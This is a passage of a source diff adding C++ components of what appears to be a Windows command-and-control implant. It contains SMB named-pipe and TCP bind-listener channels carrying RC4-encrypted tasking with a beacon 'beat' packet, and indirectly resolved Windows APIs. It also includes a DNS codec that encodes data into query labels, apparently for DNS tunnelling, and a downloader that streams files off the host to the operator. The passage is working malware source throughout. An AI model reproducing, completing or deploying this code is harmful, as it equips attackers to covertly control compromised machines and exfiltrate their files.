NumberOfBytesWritten = 0;
while (1) {
size = data_size - index;
if (data_size - index > 0x2000)
size = 0x2000;
if ( !this->functions->WriteFile(this->hChannel, data + index, size, &NumberOfBytesWritten, 0) )
break;
index += NumberOfBytesWritten;
if (index >= data_size)
break;
}
}
this->functions->FlushFileBuffers(this->hChannel);
}
DWORD totalBytesAvail = 0;
BOOL result = this->functions->PeekNamedPipe(this->hChannel, 0, 0, 0, &totalBytesAvail, 0);
if (result && totalBytesAvail >= 4) {
DWORD NumberOfBytesRead = 0;
DWORD dataLength = 0;
if ( this->functions->ReadFile(this->hChannel, &dataLength, 4, &NumberOfBytesRead, 0) ) {
if (dataLength > this->allocaSize) {
this->recvData = (BYTE*) this->functions->LocalReAlloc(this->recvData, dataLength, 0);
this->allocaSize = dataLength;
}
NumberOfBytesRead = 0;
int index = 0;
while( this->functions->ReadFile(this->hChannel, this->recvData + index, dataLength - index, &NumberOfBytesRead, 0) && NumberOfBytesRead) {
index += NumberOfBytesRead;
if (index > dataLength) {
this->recvSize = -1;
return;
}
if (index == dataLength)
break;
}
this->recvSize = index;
}
}
}
BYTE* ConnectorSMB::RecvData()
{
return this->recvData;
}
int ConnectorSMB::RecvSize()
{
return this->recvSize;
}
void ConnectorSMB::RecvClear()
{
if ( this->recvData && this->allocaSize )
memset(this->recvData, 0, this->recvSize);
this->recvSize = 0;
}
void ConnectorSMB::Listen()
{
while ( !this->functions->ConnectNamedPipe(this->hChannel, nullptr) && this->functions->GetLastError() != ERROR_PIPE_CONNECTED);
this->recvData = (BYTE*) this->functions->LocalAlloc(LPTR, 0x100000);
this->allocaSize = 0x100000;
}
BOOL ConnectorSMB::WaitForConnection()
{
this->Listen();
this->SendData(this->beat, this->beatSize);
this->connected = TRUE;
return TRUE;
}
BOOL ConnectorSMB::IsConnected()
{
return this->connected;
}
void ConnectorSMB::Disconnect()
{
this->DisconnectInternal();
this->connected = FALSE;
}
void ConnectorSMB::Exchange(BYTE* plainData, ULONG plainSize, BYTE* sessionKey)
{
if (plainData && plainSize > 0) {
EncryptRC4(plainData, plainSize, sessionKey, 16);
this->SendData(plainData, plainSize);
} else {
this->SendData(NULL, 0);
}
if (this->recvSize == 0 && TEB->LastErrorValue == ERROR_BROKEN_PIPE) {
TEB->LastErrorValue = 0;
this->connected = FALSE;
return;
}
if (this->recvSize < 0) {
this->connected = FALSE;
return;
}
if (this->recvSize > 0 && this->recvData)
DecryptRC4(this->recvData, this->recvSize, sessionKey, 16);
}
void ConnectorSMB::DisconnectInternal()
{
if (this->allocaSize) {
memset(this->recvData, 0, this->allocaSize);
this->functions->LocalFree(this->recvData);
this->recvData = nullptr;
}
this->allocaSize = 0;
this->recvData = nullptr;
this->functions->FlushFileBuffers(this->hChannel);
this->functions->DisconnectNamedPipe(this->hChannel);
}
void ConnectorSMB::CloseConnector()
{
if (this->beat && this->beatSize) {
MemFreeLocal((LPVOID*)&this->beat, this->beatSize);
this->beat = nullptr;
this->beatSize = 0;
}
this->functions->NtClose(this->hChannel);
}
+104
View File
@@ -0,0 +1,104 @@
#pragma once
#include <windows.h>
#include "Connector.h"
#include <aclapi.h>
#define _NO_NTDLL_CRT_
#include "ntdll.h"
#ifndef PROFILE_STRUCT
#define PROFILE_STRUCT
typedef struct {
ULONG servers_count;
BYTE** servers;
WORD* ports;
BOOL use_ssl;
BYTE* http_method;
BYTE* uri;
BYTE* parameter;
BYTE* user_agent;
BYTE* http_headers;
ULONG ans_pre_size;
ULONG ans_size;
} ProfileHTTP;
typedef struct {
BYTE* pipename;
} ProfileSMB;
typedef struct {
BYTE* prepend;
WORD port;
} ProfileTCP;
#endif
#define DECL_API(x) decltype(x) * x
struct SMBFUNC {
DECL_API(LocalAlloc);
DECL_API(LocalReAlloc);
DECL_API(LocalFree);
DECL_API(LoadLibraryA);
DECL_API(GetProcAddress);
DECL_API(GetLastError);
DECL_API(ReadFile);
DECL_API(WriteFile);
DECL_API(NtClose);
//kernel32
DECL_API(ConnectNamedPipe);
DECL_API(DisconnectNamedPipe);
DECL_API(CreateNamedPipeA);
DECL_API(FlushFileBuffers);
DECL_API(PeekNamedPipe);
//advapi32
DECL_API(AllocateAndInitializeSid);
DECL_API(InitializeSecurityDescriptor);
DECL_API(FreeSid);
DECL_API(SetEntriesInAclA);
DECL_API(SetSecurityDescriptorDacl);
};
class ConnectorSMB : public Connector
{
CHAR* pipename = nullptr;
BYTE* recvData = nullptr;
int recvSize = 0;
ULONG allocaSize = 0;
SMBFUNC* functions = nullptr;
HANDLE hChannel = nullptr;
BYTE* beat = nullptr;
ULONG beatSize = 0;
BOOL connected = FALSE;
public:
ConnectorSMB();
BOOL SetProfile(void* profile, BYTE* beat, ULONG beatSize) override;
BOOL WaitForConnection() override;
BOOL IsConnected() override;
void Disconnect() override;
void Exchange(BYTE* plainData, ULONG plainSize, BYTE* sessionKey) override;
void CloseConnector() override;
BYTE* RecvData() override;
int RecvSize() override;
void RecvClear() override;
void Sleep(HANDLE wakeupEvent, ULONG workingSleep, ULONG sleepDelay, ULONG jitter, BOOL hasOutput) override {}
static void* operator new(size_t sz);
static void operator delete(void* p) noexcept;
private:
void SendData(BYTE* data, ULONG data_size);
void Listen();
void DisconnectInternal();
};
+317
View File
@@ -0,0 +1,317 @@
#include "ConnectorTCP.h"
#include "ApiLoader.h"
#include "ApiDefines.h"
#include "ProcLoader.h"
#include "Crypt.h"
#include "utils.h"
void* ConnectorTCP::operator new(size_t sz)
{
void* p = MemAllocLocal(sz);
return p;
}
void ConnectorTCP::operator delete(void* p) noexcept
{
MemFreeLocal(&p, sizeof(ConnectorTCP));
}
ConnectorTCP::ConnectorTCP()
{
this->functions = (TCPFUNC*)ApiWin->LocalAlloc(LPTR, sizeof(TCPFUNC));
this->functions->LocalAlloc = ApiWin->LocalAlloc;
this->functions->LocalReAlloc = ApiWin->LocalReAlloc;
this->functions->LocalFree = ApiWin->LocalFree;
this->functions->LoadLibraryA = ApiWin->LoadLibraryA;
this->functions->GetLastError = ApiWin->GetLastError;
this->functions->GetTickCount = ApiWin->GetTickCount;
this->functions->WSAStartup = ApiWin->WSAStartup;
this->functions->WSACleanup = ApiWin->WSACleanup;
this->functions->socket = ApiWin->socket;
this->functions->ioctlsocket = ApiWin->ioctlsocket;
this->functions->WSAGetLastError = ApiWin->WSAGetLastError;
this->functions->closesocket = ApiWin->closesocket;
this->functions->listen = ApiWin->listen;
this->functions->bind = ApiWin->bind;
this->functions->select = ApiWin->select;
this->functions->accept = ApiWin->accept;
this->functions->__WSAFDIsSet = ApiWin->__WSAFDIsSet;
this->functions->send = ApiWin->send;
this->functions->recv = ApiWin->recv;
this->functions->shutdown = ApiWin->shutdown;
}
BOOL ConnectorTCP::SetProfile(void* profilePtr, BYTE* beatData, ULONG beatDataSize)
{
ProfileTCP profile = *(ProfileTCP*)profilePtr;
if (beatData && beatDataSize) {
this->beat = (BYTE*)MemAllocLocal(beatDataSize);
if (this->beat) {
memcpy(this->beat, beatData, beatDataSize);
this->beatSize = beatDataSize;
}
}
this->port = profile.port;
WSAData WSAData;
if (this->functions->WSAStartup(514u, &WSAData) < 0)
return FALSE;
SOCKET sock = this->functions->socket(AF_INET, SOCK_STREAM, 0);
if (sock == -1)
return FALSE;
struct sockaddr_in saddr = { 0 };
saddr.sin_family = AF_INET;
saddr.sin_port = ((this->port >> 8) & 0x00FF) | ((this->port << 8) & 0xFF00); // port
if (this->functions->bind(sock, (struct sockaddr*)&saddr, sizeof(sockaddr)) == -1) {
this->functions->closesocket(sock);
return FALSE;
}
if (this->functions->listen(sock, 1) == -1) {
this->functions->closesocket(sock);
return FALSE;
}
this->prepend = profile.prepend;
this->SrvSocket = sock;
return TRUE;
}
BOOL CheckState(SOCKET sock, int timeoutMs)
{
ULONG endTime = ApiWin->GetTickCount() + timeoutMs;
while (ApiWin->GetTickCount() < endTime) {
fd_set readSet;
FD_ZERO(&readSet);
FD_SET(sock, &readSet);
timeval timeout = { 0, 100 };
int selResult = ApiWin->select(0, &readSet, NULL, NULL, &timeout);
if (selResult == 0)
return TRUE;
if (selResult == SOCKET_ERROR)
return FALSE;
char buf;
int recvResult = ApiWin->recv(sock, &buf, 1, MSG_PEEK);
if (recvResult == 0)
return FALSE;
if (recvResult < 0)
{
int err = ApiWin->WSAGetLastError();
if (err == WSAEWOULDBLOCK)
return TRUE;
}
else return TRUE;
}
return FALSE;
}
void ConnectorTCP::SendData(BYTE* data, ULONG data_size)
{
this->recvSize = 0;
if (data && data_size) {
if (this->functions->send(this->ClientSocket, (const char*)&data_size, 4, 0) != -1) {
DWORD index = 0;
DWORD size = 0;
DWORD NumberOfBytesWritten = 0;
while (1) {
size = data_size - index;
if (data_size - index > 0x1000)
size = 0x1000;
NumberOfBytesWritten = this->functions->send(this->ClientSocket, (const char*)(data + index), size, 0);
if (NumberOfBytesWritten == -1)
break;
index += NumberOfBytesWritten;
if (index >= data_size)
break;
}
}
}
bool alive = false;
ULONG endTime = this->functions->GetTickCount() + 2500;
while (this->functions->GetTickCount() < endTime) {
fd_set readfds;
readfds.fd_count = 1;
readfds.fd_array[0] = this->ClientSocket;
timeval timeout = { 0, 100 };
int selResult = this->functions->select(0, &readfds, NULL, NULL, &timeout);
if (selResult == 0) {
alive = true;
break;
}
if (selResult == SOCKET_ERROR)
break;
char buf;
int recvResult = this->functions->recv(this->ClientSocket, &buf, 1, MSG_PEEK);
if (recvResult == 0)
break;
if (recvResult < 0) {
if (this->functions->WSAGetLastError() == WSAEWOULDBLOCK) {
alive = true;
break;
}
}
else {
alive = true;
break;
}
}
if (!alive) {
this->recvSize = -1;
return;
}
DWORD totalBytesAvail = 0;
int result = this->functions->ioctlsocket(this->ClientSocket, FIONREAD, &totalBytesAvail);
if (result != -1 && totalBytesAvail >= 4) {
ULONG dataLength = 0;
if (this->functions->recv(this->ClientSocket, (PCHAR)&dataLength, 4, 0) != -1 && dataLength) {
if (dataLength > this->allocaSize) {
this->recvData = (BYTE*)this->functions->LocalReAlloc(this->recvData, dataLength, 0);
this->allocaSize = dataLength;
}
ULONG index = 0;
int NumberOfBytesRead = 0;
while ((NumberOfBytesRead = this->functions->recv(this->ClientSocket, (PCHAR)this->recvData + index, dataLength - index, 0)) && NumberOfBytesRead != -1) {
index += NumberOfBytesRead;
if (index > dataLength) {
this->recvSize = -1;
return;
}
if (index == dataLength)
break;
}
this->recvSize = index;
}
}
}
BYTE* ConnectorTCP::RecvData()
{
return this->recvData;
}
int ConnectorTCP::RecvSize()
{
return this->recvSize;
}
void ConnectorTCP::RecvClear()
{
if (this->recvData && this->allocaSize) {
if (this->recvSize > 0)
memset(this->recvData, 0, this->recvSize);
else
memset(this->recvData, 0, this->allocaSize);
}
}
void ConnectorTCP::Listen()
{
fd_set readfds;
readfds.fd_count = 1;
readfds.fd_array[0] = this->SrvSocket;
while (1) {
int sel = this->functions->select(0, &readfds, 0, 0, NULL);
if (sel > 0 && readfds.fd_array[0] == this->SrvSocket) {
SOCKET clientSock = this->functions->accept(this->SrvSocket, 0, 0);
if (clientSock != -1) {
this->ClientSocket = clientSock;
break;
}
}
}
this->recvData = (BYTE*)this->functions->LocalAlloc(LPTR, 0x100000);
this->allocaSize = 0x100000;
}
BOOL ConnectorTCP::WaitForConnection()
{
this->Listen();
this->SendData(this->beat, this->beatSize);
this->connected = TRUE;
return TRUE;
}
BOOL ConnectorTCP::IsConnected()
{
return this->connected;
}
void ConnectorTCP::Disconnect()
{
this->DisconnectInternal();
this->connected = FALSE;
}
void ConnectorTCP::Exchange(BYTE* plainData, ULONG plainSize, BYTE* sessionKey)
{
if (plainData && plainSize > 0) {
EncryptRC4(plainData, plainSize, sessionKey, 16);
this->SendData(plainData, plainSize);
}
else {
this->SendData(NULL, 0);
}
if (this->recvSize < 0) {
this->connected = FALSE;
return;
}
if (this->recvSize > 0 && this->recvData) {
DecryptRC4(this->recvData, this->recvSize, sessionKey, 16);
}
}
void ConnectorTCP::DisconnectInternal()
{
if (this->allocaSize && this->recvData) {
memset(this->recvData, 0, this->allocaSize);
this->functions->LocalFree(this->recvData);
this->recvData = NULL;
}
this->allocaSize = 0;
this->recvData = 0;
this->functions->shutdown(this->ClientSocket, 2);
this->functions->closesocket(this->ClientSocket);
}
void ConnectorTCP::CloseConnector()
{
if (this->beat && this->beatSize) {
MemFreeLocal((LPVOID*)&this->beat, this->beatSize);
this->beat = NULL;
this->beatSize = 0;
}
this->functions->shutdown(this->SrvSocket, 2);
this->functions->closesocket(this->SrvSocket);
}
+101
View File
@@ -0,0 +1,101 @@
#pragma once
#include <windows.h>
#include "Connector.h"
#ifndef PROFILE_STRUCT
#define PROFILE_STRUCT
typedef struct {
ULONG servers_count;
BYTE** servers;
WORD* ports;
BOOL use_ssl;
BYTE* http_method;
BYTE* uri;
BYTE* parameter;
BYTE* user_agent;
BYTE* http_headers;
ULONG ans_pre_size;
ULONG ans_size;
} ProfileHTTP;
typedef struct {
BYTE* pipename;
} ProfileSMB;
typedef struct {
BYTE* prepend;
WORD port;
} ProfileTCP;
#endif
#define DECL_API(x) decltype(x) * x
struct TCPFUNC {
DECL_API(LocalAlloc);
DECL_API(LocalReAlloc);
DECL_API(LocalFree);
DECL_API(LoadLibraryA);
DECL_API(GetProcAddress);
DECL_API(GetLastError);
DECL_API(GetTickCount);
//ws2_32
DECL_API(WSAStartup);
DECL_API(WSACleanup);
DECL_API(socket);
DECL_API(ioctlsocket);
DECL_API(WSAGetLastError);
DECL_API(closesocket);
DECL_API(select);
DECL_API(__WSAFDIsSet);
DECL_API(shutdown);
DECL_API(recv);
DECL_API(send);
DECL_API(accept);
DECL_API(listen);
DECL_API(bind);
};
class ConnectorTCP : public Connector
{
WORD port = 0;
BYTE* prepend = nullptr;
BYTE* recvData = nullptr;
int recvSize = 0;
ULONG allocaSize = 0;
TCPFUNC* functions = nullptr;
SOCKET SrvSocket;
SOCKET ClientSocket;
BYTE* beat = nullptr;
ULONG beatSize = 0;
BOOL connected = FALSE;
public:
ConnectorTCP();
BOOL SetProfile(void* profile, BYTE* beat, ULONG beatSize) override;
BOOL WaitForConnection() override;
BOOL IsConnected() override;
void Disconnect() override;
void Exchange(BYTE* plainData, ULONG plainSize, BYTE* sessionKey) override;
void CloseConnector() override;
BYTE* RecvData() override;
int RecvSize() override;
void RecvClear() override;
void Sleep(HANDLE wakeupEvent, ULONG workingSleep, ULONG sleepDelay, ULONG jitter, BOOL hasOutput) override {}
static void* operator new(size_t sz);
static void operator delete(void* p) noexcept;
private:
void SendData(BYTE* data, ULONG data_size);
void Listen();
void DisconnectInternal();
};
+43
View File
@@ -0,0 +1,43 @@
#include "Crypt.h"
void RC4Init(unsigned char* key, unsigned char* S, int keyLength) {
int i, j = 0;
unsigned char temp;
for (i = 0; i < 256; i++) {
S[i] = (unsigned char)i;
}
for (i = 0; i < 256; i++) {
j = (j + S[i] + key[i % keyLength]) % 256;
temp = S[i];
S[i] = S[j];
S[j] = temp;
}
}
void RC4EncryptDecrypt(unsigned char* data, int dataLength, unsigned char* S) {
int i = 0, j = 0, k;
unsigned char temp;
for (k = 0; k < dataLength; k++) {
i = (i + 1) % 256;
j = (j + S[i]) % 256;
temp = S[i];
S[i] = S[j];
S[j] = temp;
data[k] ^= S[(S[i] + S[j]) % 256];
}
}
void EncryptRC4(unsigned char* data, int dataLength, unsigned char* key, int keyLength) {
unsigned char S[256];
RC4Init(key, S, keyLength);
RC4EncryptDecrypt(data, dataLength, S);
}
void DecryptRC4(unsigned char* data, int dataLength, unsigned char* key, int keyLength) {
EncryptRC4(data, dataLength, key, keyLength);
}
+9
View File
@@ -0,0 +1,9 @@
#pragma once
void RC4Init(unsigned char* key, unsigned char* S, int keyLength);
void RC4EncryptDecrypt(unsigned char* data, int dataLength, unsigned char* S);
void EncryptRC4(unsigned char* data, int dataLength, unsigned char* key, int keyLength);
void DecryptRC4(unsigned char* data, int dataLength, unsigned char* key, int keyLength);
+256
View File
@@ -0,0 +1,256 @@
#include "DnsCodec.h"
#include "main.h"
#include "utils.h"
#define MINIZ_NO_STDIO
#include "miniz.h"
// Static constant definitions
const CHAR DnsCodec::kBase32Alphabet[] = "ABCDEFGHIJKLMNOPQRSTUVWXYZ234567";
const int DnsCodec::kBase64DecodeTable[] = {
-1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1,
-1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1,
-1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, 62, -1, -1, -1, 63,
52, 53, 54, 55, 56, 57, 58, 59, 60, 61, -1, -1, -1, -1, -1, -1,
-1, 0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14,
15, 16, 17, 18, 19, 20, 21, 22, 23, 24, 25, -1, -1, -1, -1, -1,
-1, 26, 27, 28, 29, 30, 31, 32, 33, 34, 35, 36, 37, 38, 39, 40,
41, 42, 43, 44, 45, 46, 47, 48, 49, 50, 51, -1, -1, -1, -1, -1
};
void DnsCodec::ToHex32(ULONG value, CHAR out[9])
{
static const CHAR hex[] = "0123456789abcdef";
for (int i = 7; i >= 0; --i) {
out[i] = hex[value & 0x0F];
value >>= 4;
}
out[8] = '\0';
}
ULONG DnsCodec::Base32Encode(const BYTE* src, ULONG srcLen, CHAR* dst, ULONG dstSize)
{
if (!src || !dst || !srcLen || !dstSize)
return 0;
// Calculate max output size: ceil(srcLen * 8 / 5)
ULONG maxOut = (srcLen * 8 + 4) / 5;
if (maxOut >= dstSize)
return 0;
ULONG bitBuffer = 0;
int bitCount = 0;
ULONG outLen = 0;
for (ULONG i = 0; i < srcLen; ++i) {
bitBuffer = (bitBuffer << 8) | src[i];
bitCount += 8;
while (bitCount >= 5) {
bitCount -= 5;
dst[outLen++] = kBase32Alphabet[(bitBuffer >> bitCount) & 0x1F];
}
}
if (bitCount > 0)
dst[outLen++] = kBase32Alphabet[(bitBuffer << (5 - bitCount)) & 0x1F];
dst[outLen] = '\0';
return outLen;
}
ULONG DnsCodec::Base32Decode(const CHAR* src, ULONG srcLen, BYTE* dst, ULONG dstSize)
{
if (!src || !dst || !srcLen || !dstSize)
return 0;
ULONG bitBuffer = 0;
int bitCount = 0;
ULONG outLen = 0;
for (ULONG i = 0; i < srcLen; ++i) {
CHAR c = src[i];
int val = -1;
if (c >= 'A' && c <= 'Z')
val = c - 'A';
else if (c >= 'a' && c <= 'z')
val = c - 'a';
else if (c >= '2' && c <= '7')
val = c - '2' + 26;
else
continue;
bitBuffer = (bitBuffer << 5) | val;
bitCount += 5;
while (bitCount >= 8) {
bitCount -= 8;
if (outLen >= dstSize)
return 0;
dst[outLen++] = (BYTE)((bitBuffer >> bitCount) & 0xFF);
}
}
return outLen;
}
int DnsCodec::Base64Decode(const CHAR* src, int srcLen, BYTE* dst, int dstMax)
{
if (!src || !dst || srcLen <= 0 || dstMax <= 0)
return 0;
int j = 0;
int val = 0;
int valb = -8;
for (int i = 0; i < srcLen; i++) {
unsigned char c = src[i];
if (c > 127) continue;
int d = kBase64DecodeTable[c];
if (d == -1) continue;
val = (val << 6) | d;
valb += 6;
if (valb >= 0) {
if (j < dstMax) dst[j++] = (BYTE)((val >> valb) & 0xFF);
valb -= 8;
}
}
return j;
}
void DnsCodec::BuildQName(const CHAR* sid, const CHAR* op, ULONG seq, ULONG idx, const CHAR* dataLabel, const CHAR* domain, CHAR* out, ULONG outSize)
{
CHAR seqHex[9];
CHAR idxHex[9];
ToHex32(seq ^ kSeqXorMask, seqHex);
ToHex32(idx ^ kSeqXorMask, idxHex);
const CHAR* dataPart = (dataLabel && dataLabel[0]) ? dataLabel : "x";
const CHAR* domPart = (domain && domain[0]) ? domain : "";
if (domPart[0])
ApiWin->snprintf(out, outSize, "%s.%s.%s.%s.%s.%s", sid, op, seqHex, idxHex, dataPart, domPart);
else
ApiWin->snprintf(out, outSize, "%s.%s.%s.%s.%s", sid, op, seqHex, idxHex, dataPart);
}
int DnsCodec::EncodeName(const CHAR* host, BYTE* buf, int bufSize)
{
if (!host || !buf || bufSize <= 1)
return -1;
int len = 0;
const CHAR* p = host;
while (*p) {
const CHAR* labelStart = p;
int labelLen = 0;
while (*p && *p != '.') {
++p;
++labelLen;
}
if (labelLen == 0)
break;
if (labelLen > (int)kMaxLabelSize)
labelLen = (int)kMaxLabelSize;
if (len + 1 + labelLen + 1 > bufSize)
return -1;
buf[len++] = (BYTE)labelLen;
memcpy(buf + len, labelStart, labelLen);
len += labelLen;
if (*p == '.')
++p;
}
if (len + 1 > bufSize)
return -1;
buf[len++] = 0;
return len;
}
// Build data labels for DNS query
BOOL DnsCodec::BuildDataLabels(const BYTE* src, ULONG srcLen, ULONG labelSize, CHAR* out, ULONG outSize)
{
if (!src || !srcLen || !out || !labelSize || labelSize > kMaxLabelSize || outSize == 0)
return FALSE;
CHAR encoded[kBase32BufSize];
ULONG encLen = Base32Encode(src, srcLen, encoded, sizeof(encoded));
if (encLen == 0)
return FALSE;
// Calculate required output size: encLen + (encLen / labelSize) dots + null
ULONG numLabels = (encLen + labelSize - 1) / labelSize;
ULONG requiredSize = encLen + (numLabels > 1 ? numLabels - 1 : 0) + 1;
if (requiredSize > outSize)
return FALSE;
ULONG written = 0;
ULONG i = 0;
while (i < encLen) {
ULONG chunk = (encLen - i > labelSize) ? labelSize : encLen - i;
memcpy(out + written, encoded + i, chunk);
written += chunk;
i += chunk;
if (i < encLen)
out[written++] = '.';
}
out[written] = '\0';
return TRUE;
}
// Compression using miniz (zlib)
BOOL DnsCodec::Compress(const BYTE* inBuf, ULONG inLen, BYTE** outBuf, ULONG* outLen)
{
if (!inBuf || !outBuf || !outLen || inLen == 0)
return FALSE;
mz_ulong srcLen = (mz_ulong)inLen;
mz_ulong bound = compressBound(srcLen);
if (bound == 0)
return FALSE;
BYTE* tmp = (BYTE*)MemAllocLocal((ULONG)bound);
if (!tmp)
return FALSE;
mz_ulong destLen = bound;
int res = compress2(tmp, &destLen, (const unsigned char*)inBuf, srcLen, Z_BEST_COMPRESSION);
if (res != Z_OK || destLen == 0 || destLen >= srcLen) {
MemFreeLocal((LPVOID*)&tmp, (ULONG)bound);
return FALSE;
}
*outBuf = tmp;
*outLen = (ULONG)destLen;
return TRUE;
}
// Decompression using miniz (zlib)
BOOL DnsCodec::Decompress(const BYTE* inBuf, ULONG inLen, BYTE** outBuf, ULONG expectedLen)
{
if (!inBuf || !outBuf || expectedLen == 0 || inLen == 0)
return FALSE;
BYTE* tmp = (BYTE*)MemAllocLocal(expectedLen);
if (!tmp)
return FALSE;
mz_ulong destLen = (mz_ulong)expectedLen;
int res = uncompress(tmp, &destLen, (const unsigned char*)inBuf, (mz_ulong)inLen);
if (res != Z_OK || destLen != (mz_ulong)expectedLen) {
MemFreeLocal((LPVOID*)&tmp, expectedLen);
return FALSE;
}
*outBuf = tmp;
return TRUE;
}
+32
View File
@@ -0,0 +1,32 @@
#pragma once
#include <windows.h>
#include "ApiDefines.h"
class DnsCodec {
public:
// Constants
static const ULONG kSeqXorMask = 0x39913991;
static const ULONG kMaxLabelSize = 63;
static const ULONG kBase32BufSize = 2048;
// Encoding
static ULONG Base32Encode(const BYTE* src, ULONG srcLen, CHAR* dst, ULONG dstSize);
static ULONG Base32Decode(const CHAR* src, ULONG srcLen, BYTE* dst, ULONG dstSize);
static int Base64Decode(const CHAR* src, int srcLen, BYTE* dst, int dstMax);
// DNS Name building
static void ToHex32(ULONG value, CHAR out[9]);
static void BuildQName(const CHAR* sid, const CHAR* op, ULONG seq, ULONG idx, const CHAR* dataLabel, const CHAR* domain, CHAR* out, ULONG outSize);
static int EncodeName(const CHAR* host, BYTE* buf, int bufSize);
static BOOL BuildDataLabels(const BYTE* src, ULONG srcLen, ULONG labelSize, CHAR* out, ULONG outSize);
// Compression (miniz)
static BOOL Compress(const BYTE* inBuf, ULONG inLen, BYTE** outBuf, ULONG* outLen);
static BOOL Decompress(const BYTE* inBuf, ULONG inLen, BYTE** outBuf, ULONG expectedLen);
private:
static const CHAR kBase32Alphabet[];
static const int kBase64DecodeTable[];
};
+87
View File
@@ -0,0 +1,87 @@
#include "Downloader.h"
#include "utils.h"
void* Downloader::operator new(size_t sz)
{
void* p = MemAllocLocal(sz);
return p;
}
void Downloader::operator delete(void* p) noexcept
{
MemFreeLocal(&p, sizeof(Downloader));
}
Downloader::Downloader(ULONG chunk_size)
{
this->chunkSize = chunk_size;
}
DownloadData Downloader::CreateDownloadData(ULONG taskId, HANDLE hFile, ULONG64 size)
{
DownloadData downloadData;
downloadData.taskId = taskId;
downloadData.fileId = GenerateRandom32();
downloadData.hFile = hFile;
downloadData.fileSize = size;
downloadData.index = 0;
downloadData.state = DOWNLOAD_STATE_RUNNING;
this->downloads.push_back(downloadData);
return downloadData;
}
void Downloader::ProcessDownloader(Packer* packer)
{
if ( !this->downloads.size() )
return;
for (int i = 0; i < downloads.size(); i++) {
BOOL close = false;
if (downloads[i].state == DOWNLOAD_STATE_RUNNING) {
LPVOID buffer = MemAllocLocal(this->chunkSize);
ULONG readedBytes = 0;
ApiWin->ReadFile(downloads[i].hFile, buffer, this->chunkSize, &readedBytes, NULL);
if (readedBytes > 0) {
downloads[i].index += readedBytes;
packer->Pack32(downloads[i].taskId);
packer->Pack32(COMMAND_DOWNLOAD);
packer->Pack32(downloads[i].fileId);
packer->Pack8(DOWNLOAD_CONTINUE);
packer->PackBytes( (BYTE*) buffer, readedBytes);
if (downloads[i].fileSize == downloads[i].index)
downloads[i].state = DOWNLOAD_STATE_FINISHED;
}
else {
downloads[i].state = DOWNLOAD_STATE_CANCELED;
packer->Pack32(downloads[i].taskId);
packer->Pack32(COMMAND_DOWNLOAD_STATE);
packer->Pack32(downloads[i].fileId);
packer->Pack8(downloads[i].state);
}
if(buffer)
MemFreeLocal(&buffer, this->chunkSize);
}
if ( downloads[i].state == DOWNLOAD_STATE_FINISHED ) {
packer->Pack32(downloads[i].taskId);
packer->Pack32(COMMAND_DOWNLOAD);
packer->Pack32(downloads[i].fileId);
packer->Pack8(DOWNLOAD_FINISH);
}
if ( downloads[i].state == DOWNLOAD_STATE_CANCELED || downloads[i].state == DOWNLOAD_STATE_FINISHED ) {
if (downloads[i].hFile) {
ApiNt->NtClose(downloads[i].hFile);
downloads[i].hFile = NULL;
}
downloads.remove(i);
--i;
}
}
}
+40
View File
@@ -0,0 +1,40 @@
#pragma once
#include "std.cpp"
#include "Packer.h"
#define COMMAND_DOWNLOAD 32
#define COMMAND_DOWNLOAD_STATE 35
#define DOWNLOAD_START 0x1
#define DOWNLOAD_CONTINUE 0x2
#define DOWNLOAD_FINISH 0x3
#define DOWNLOAD_STATE_RUNNING 0x1
#define DOWNLOAD_STATE_STOPPED 0x2
#define DOWNLOAD_STATE_FINISHED 0x3
#define DOWNLOAD_STATE_CANCELED 0x4
struct DownloadData {
ULONG taskId;
ULONG fileId;
HANDLE hFile;
ULONG64 fileSize;
ULONG64 index;
BYTE state;
};
class Downloader
{
public:
Vector<DownloadData> downloads;
ULONG chunkSize = 0;
Downloader( ULONG chunk_size );
DownloadData CreateDownloadData(ULONG taskId, HANDLE hFile, ULONG64 size);
void ProcessDownloader(Packer* packer);
static void* operator new(size_t sz);
static void operator delete(void* p) noexcept;
};
+142
View File
@@ -0,0 +1,142 @@
#include "Encoders.h"
#include "ApiLoader.h"
#include "utils.h"
/// BASE64
char b64chars[] = { 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z', 'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', '0', '1', '2', '3', '4', '5', '6', '7', '8', '9', '+', '/', 0 };
int b64_encoded_size(int inlen)
{
int ret = inlen;
if (inlen % 3 != 0)
ret += 3 - (inlen % 3);
ret /= 3;
ret *= 4;
return ret;
}
char* b64_encode(const unsigned char* in, int len)
{
int elen;
int i;
int j;
int v;
if (in == NULL || len == 0)
return NULL;
elen = b64_encoded_size(len);
char* out = (char* ) ApiWin->LocalAlloc(LPTR, elen + 1);
if (!out)
return NULL;
out[elen] = '\0';
for (i = 0, j = 0; i < len; i += 3, j += 4) {
v = in[i];
v = i + 1 < len ? v << 8 | in[i + 1] : v << 8;
v = i + 2 < len ? v << 8 | in[i + 2] : v << 8;
out[j] = b64chars[(v >> 18) & 0x3F];
out[j + 1] = b64chars[(v >> 12) & 0x3F];
if (i + 1 < len) {
out[j + 2] = b64chars[(v >> 6) & 0x3F];
}
else {
out[j + 2] = '=';
}
if (i + 2 < len) {
out[j + 3] = b64chars[v & 0x3F];
}
else {
out[j + 3] = '=';
}
}
return out;
}
int b64invs[] = { 62, -1, -1, -1, 63, 52, 53, 54, 55, 56, 57, 58, 59, 60, 61, -1, -1, -1, -1, -1, -1, -1, 0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 21, 22, 23, 24, 25, -1, -1, -1, -1, -1, -1, 26, 27, 28, 29, 30, 31, 32, 33, 34, 35, 36, 37, 38, 39, 40, 41, 42, 43, 44, 45, 46, 47, 48, 49, 50, 51 };
int b64_decoded_size(const char* in)
{
int len;
int ret;
int i;
if (in == NULL)
return 0;
len = StrLenA((CHAR*)in);
ret = len / 4 * 3;
for (i = len; i-- > 0; ) {
if (in[i] == '=') {
ret--;
}
else {
break;
}
}
return ret;
}
int b64_isvalidchar(char c)
{
if (c >= '0' && c <= '9')
return 1;
